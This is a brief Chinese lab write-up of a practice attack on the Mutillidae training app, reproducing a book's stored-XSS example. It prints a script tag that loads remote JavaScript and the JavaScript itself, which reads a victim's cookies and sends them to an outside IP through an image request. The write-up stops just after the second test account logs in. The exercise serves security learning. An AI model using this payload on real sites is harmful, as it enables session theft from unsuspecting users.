此次练习主要是用mutillidae靶场实现了《白帽子讲web安全》上的xss payload 窃取用户cookie实例。
需要创建两个用户进行测试:墨中白,test
用账号墨中白进入xss blog练习页面:
在文本框中插入代码
<script type="text/javascript" src="http://47.116.10.120/wxx.js"></script>
连接远程服务器上的js代码执行js源码为:
var str = document.cookie;
var img = document.createElement("img");
img.src = "http://47.116.10.120/log?"+escape(str);
document.body.appendChild(img);
保存后,也就是当别的用户浏览用户墨中白的博客时就会发送他自己的cookie到服务器的一个文件中,服务器中该文件可以不存在直接查看日志也能查到记录
OK,上传博客。
登录另一个账号test,查看博客: